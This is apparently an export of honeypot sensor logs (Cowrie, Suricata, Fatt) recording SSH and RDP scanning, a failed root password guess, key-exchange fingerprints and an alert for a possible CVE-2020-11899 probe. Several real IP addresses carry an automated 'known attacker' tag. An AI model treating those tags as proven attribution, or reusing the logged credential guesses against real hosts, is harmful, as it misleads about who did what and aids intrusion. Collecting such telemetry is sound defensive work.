34544	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:01:35.862044+03	2021-09-20 15:15:02.031656+03	{"_id": "VgYVA3wBvYTbRNuEPla4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/871025] failed", "session": "c6df0d066f2d", "@version": "1", "password": "871025", "username": "root", "timestamp": "2021-09-20T12:01:35.862044Z", "@timestamp": "2021-09-20T12:01:35.862Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
34545	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:01:37.120851+03	2021-09-20 15:15:02.032656+03	{"_id": "VwYVA3wBvYTbRNuEQlag", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "c6df0d066f2d", "@version": "1", "duration": 5.438661575317383, "timestamp": "2021-09-20T12:01:37.120851Z", "@timestamp": "2021-09-20T12:01:37.120Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
34546	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:02:01.265916+03	2021-09-20 15:15:02.033655+03	{"_id": "ZgYVA3wBvYTbRNuEoFZn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "41f73699bf9e", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:02:01.265916Z", "@timestamp": "2021-09-20T12:02:01.265Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
34547	183.17.231.81	109.199.241.180	Suricata	2021-09-20 15:02:01.564313+03	2021-09-20 15:15:02.035656+03	{"_id": "aQYVA3wBvYTbRNuEoVaE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "flow_id": 214943655310784, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34546, "dest_port": 22, "timestamp": "2021-09-20T12:02:01.564313Z", "@timestamp": "2021-09-20T12:02:01.564Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
34548	183.17.231.81	109.199.241.180	Fatt	2021-09-20 15:02:01.564401+03	2021-09-20 15:15:02.036657+03	{"_id": "awYVA3wBvYTbRNuEolaO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 34546, "dest_port": 22, "timestamp": "2021-09-20T12:02:01.564401", "@timestamp": "2021-09-20T12:02:01.564Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
34549	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:02:01.565013+03	2021-09-20 15:15:02.037655+03	{"_id": "cQYVA3wBvYTbRNuEpFZR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "41f73699bf9e", "@version": "1", "timestamp": "2021-09-20T12:02:01.565013Z", "@timestamp": "2021-09-20T12:02:01.565Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
34550	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:02:02.620611+03	2021-09-20 15:15:02.038656+03	{"_id": "cwYVA3wBvYTbRNuEpVZs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:02:01.127865+0000", "pkts_toclient": 4, "pkts_toserver": 3, "bytes_toclient": 259, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 254624858239865, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 58119, "timestamp": "2021-09-20T12:02:02.620611Z", "@timestamp": "2021-09-20T12:02:02.620Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
34551	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:02:02.476331+03	2021-09-20 15:15:02.040655+03	{"_id": "dAYVA3wBvYTbRNuEpVZs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:02:01.127865+0000", "pkts_toclient": 2, "pkts_toserver": 3, "bytes_toclient": 132, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 254624858239865, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58119, "dest_port": 3389, "timestamp": "2021-09-20T12:02:02.476331Z", "@timestamp": "2021-09-20T12:02:02.476Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
34552	61.133.192.126	109.199.241.180	Fatt	2021-09-20 15:02:02.476331+03	2021-09-20 15:15:02.041656+03	{"_id": "dgYVA3wBvYTbRNuEplZ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 58119, "dest_port": 3389, "timestamp": "2021-09-20T12:02:02.476331", "@timestamp": "2021-09-20T12:02:02.476Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	CN
34553	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:02:01.262795+03	2021-09-20 15:15:02.042657+03	{"_id": "ZwYVA3wBvYTbRNuEoFZn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 183.17.231.81:34546 (192.168.176.2:22) [session: 41f73699bf9e]", "session": "41f73699bf9e", "@version": "1", "protocol": "ssh", "src_port": 34546, "dest_port": 22, "timestamp": "2021-09-20T12:02:01.262795Z", "@timestamp": "2021-09-20T12:02:01.262Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
34554	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:01:49.000281+03	2021-09-20 15:15:02.044675+03	{"_id": "aAYVA3wBvYTbRNuEoVaE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:00:48.040371+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1006997896994227, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 61457, "timestamp": "2021-09-20T12:01:49.000281Z", "@timestamp": "2021-09-20T12:01:49.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
34555	183.17.231.81	109.199.241.180	Suricata	2021-09-20 15:02:01.564401+03	2021-09-20 15:15:02.045665+03	{"_id": "agYVA3wBvYTbRNuEoVaF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:02:00.964032+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "183.17.231.81", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 214943655310784, "payload": "AAADzAYUOsnOPeuugeuTbyJFH9w+UgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34546, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:02:01.564401Z", "@timestamp": "2021-09-20T12:02:01.564Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......:..=.....o\\"E..>R...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
34556	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:02:01.266637+03	2021-09-20 15:15:02.047664+03	{"_id": "bAYVA3wBvYTbRNuEolaO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "183.17.231.81", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34546, "timestamp": "2021-09-20T12:02:01.266637", "@timestamp": "2021-09-20T12:02:01.266Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34557	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:02:02.476331+03	2021-09-20 15:15:02.048666+03	{"_id": "cgYVA3wBvYTbRNuEpVZs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:02:01.127865+0000", "pkts_toclient": 2, "pkts_toserver": 3, "bytes_toclient": 132, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 254624858239865, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58119, "dest_port": 3389, "timestamp": "2021-09-20T12:02:02.476331Z", "@timestamp": "2021-09-20T12:02:02.476Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
34558	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 15:02:28.604393+03	2021-09-20 15:15:02.050664+03	{"_id": "pgYWA3wBvYTbRNuEC1YH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:02:28.604393+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 78}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:ff8d:b93f", "flow_id": 1343789911521513, "payload": "AAAAAP6AAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T12:02:28.604393Z", "@timestamp": "2021-09-20T12:02:28.604Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............"}}	1	\N	\N	alert	\N	\N
